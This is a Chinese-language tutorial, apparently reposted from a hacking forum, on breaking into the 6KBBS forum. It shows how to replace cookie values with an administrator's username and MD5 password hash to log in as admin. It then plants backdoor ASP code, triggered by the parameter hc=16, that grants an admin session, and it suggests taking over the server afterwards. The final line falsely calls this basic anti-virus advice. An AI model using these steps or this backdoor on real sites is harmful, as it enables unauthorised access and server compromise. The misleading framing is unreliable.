案例講解Cookies欺騙與session欺騙入侵
發(fā)表時間:2023-07-30 來源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]我們先來說下基礎(chǔ)知識,免的一些菜鳥看不懂,有借鑒. cookies欺騙,就是在只對用戶做cookies驗(yàn)證的系統(tǒng)中,通過修改cookies的內(nèi)容來得到相應(yīng)的用戶權(quán)限登錄。 那么什么是cook...
我們先來說下基礎(chǔ)知識,免的一些菜鳥看不懂,有借鑒. cookies欺騙,就是在只對用戶做cookies驗(yàn)證的系統(tǒng)中,通過修改cookies的內(nèi)容來得到相應(yīng)的用戶權(quán)限登錄。
那么什么是cookies呢,我這里給大家一個專業(yè)的解釋,cookies是一個儲存于瀏覽器目錄中的文本文件,記錄你訪問一個特定站點(diǎn)的信息,且只 能被創(chuàng)建這個cookies的站點(diǎn)讀回,約由255個字符組成,僅占4kb硬盤空間。當(dāng)用戶正在瀏覽某站點(diǎn)時,它儲存于用戶機(jī)的隨機(jī)存取存儲器ram中, 退出瀏覽器后,它儲存于用戶的硬盤中。儲存在cookies中的大部分信息是普通的,如當(dāng)你瀏覽一個站點(diǎn)時,此文件記錄了每一次的擊鍵信息和被訪站點(diǎn)的地 址等。但是許多web站點(diǎn)使用cookies來儲存針對私人的數(shù)據(jù),如:注冊口令、用戶名、信用卡編號等。
什么是Session?當(dāng)一個訪問者來到你的網(wǎng)站的時候一個Session就開始了,當(dāng)他離開的時候Session就結(jié)束了。本質(zhì)是來說,cookie是和瀏覽器有關(guān)系,而Session變量就可以存一些資源變量在服務(wù)器上面。
正題: 我們先里看個實(shí)例,在6KBBS的login.asp找到113—124行,得到以下代碼:
if
[url=javascript:][color=#949494]Copy code[/color][/url]
login=false then tl=" 登 陸 失 敗" mes=mes&"
·返回重新填寫" else response.cookies(prefix)("lgname")
=lgname session(prefix"lgname")=
lgname response.cookies(prefix)("lgpwd")=
lgpwd response.cookies(prefix)("lgtype")=
lgtype response.cookies(prefix)("lgcook")=
cook if cook>0 then response.cookies(prefix).expires=
date cook end if
我們來分析下,如果你登錄失敗了他就顯示你登錄失敗并引導(dǎo)你返回上一頁,否則就給你寫進(jìn)cookies里面,如果你的cookies有的話那么你的過期時 間就是你cookies的過期時間——也就是你保存cookies的時間了。 這時,我們想到的是如果里面的信息是admin的,那一不就成了以管理員登陸了嗎? 首先,我們先去注冊一個用戶,然后登錄,有個cookies保存的選項(xiàng),一定要選哦。我選擇是保存一個月,因?yàn)楸4媪瞬艜倌惚緳C(jī)上寫進(jìn)它的 cookies。接著,打開數(shù)據(jù)庫,看admin表里面有什么東西,別的不管,你只要那個bd為16的那個人就行了。有可能沒有,你可以到他們論壇去逛一 下,看管理員是誰,然后在數(shù)據(jù)庫里面拿他的賬號和加密的密碼來欺騙。
打開iecookiesview,這款軟件是拿來察看和修改本機(jī)的cookies的,很方便我們的cookies欺騙入侵。
在iecookiesview 里找到你要欺騙的那個網(wǎng)站,看到了嗎?有你的用戶名和md5加密的密碼,我們吧這兩項(xiàng)改為管理員的,就是把剛才數(shù)據(jù)庫里面的管理員賬號和md5加密的密碼 代替你自己的。點(diǎn)擊“更改cookies”,打開一個新的ie,然后再去訪問那個論壇,看到?jīng)]有?你現(xiàn)在已經(jīng)是管理員了。
接著,麻煩的事出現(xiàn)了,后臺登陸并不是以cookies來實(shí)現(xiàn)的,而是以session實(shí)現(xiàn)的 ,所以我們同樣來欺騙session;
首先簡單說一下一般asp系統(tǒng)的身份驗(yàn)證原理。 一般來說,后臺管理員在登錄頁面輸入賬號密碼后,程序會拿著他提交的用戶名密碼去數(shù)據(jù)庫的管理員表里面找,如果有這個人的賬號密碼就認(rèn)為你是管理員,然后 給你一個表示你身份的session值。或者程序先把你的用戶名密碼提取出來,然后到數(shù)據(jù)庫的管理員表里面取出管理員的賬號密碼來和你提交的相比較,如果 相等,就跟上面一樣給你個表示你身份的sesion值。然后你進(jìn)入任何一個管理頁面它都要首先驗(yàn)證你的session值,如果是管理員就讓你通過,不是的 話就引導(dǎo)你回到登錄頁面。
找到manage/admin.asp,發(fā)現(xiàn)驗(yàn)證內(nèi)容為:
[url=javascript:][color=#949494]Copy code[/color][/url]
...
else
rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")
rs("LastLoginTime")=now()
rs("LoginTimes")=rs("LoginTimes") 1
rs.update
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
rs.close
set rs=nothing
call CloseConn()
Response.Redirect "Admin_Index.asp" 很容易就知道如果沒有獲得驗(yàn)證就會出現(xiàn)兩個session值:
[url=javascript:][color=#949494]Copy code[/color][/url]
session.Timeout=SessionTimeout
session("AdminName")=rs("username") 試想如果我們以adminName的信息登陸就就ok了..接著用ASP木馬編輯器來添加代碼如下:
[url=javascript:][color=#949494]Copy code[/color][/url]
dim id
id=trim(request("hc"))
if id="16" then
session("AdminName")="admin"
end if 分析上段代碼,有個不定值--admin,可以根據(jù)實(shí)際情況來設(shè)置,不一定是admin;可以在一些不常去的頁面來登陸, 如:FriendSite.asp?hc=16返回時頁面沒有出現(xiàn)異樣,這就行了,然后再次登陸manage/admin.asp,你會發(fā)現(xiàn),你已經(jīng)進(jìn)入 后臺了。然后可以提權(quán)得弄服務(wù)器了。
上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識,學(xué)習(xí)了安全知識,幾乎可以讓你免費(fèi)電腦中毒的煩擾。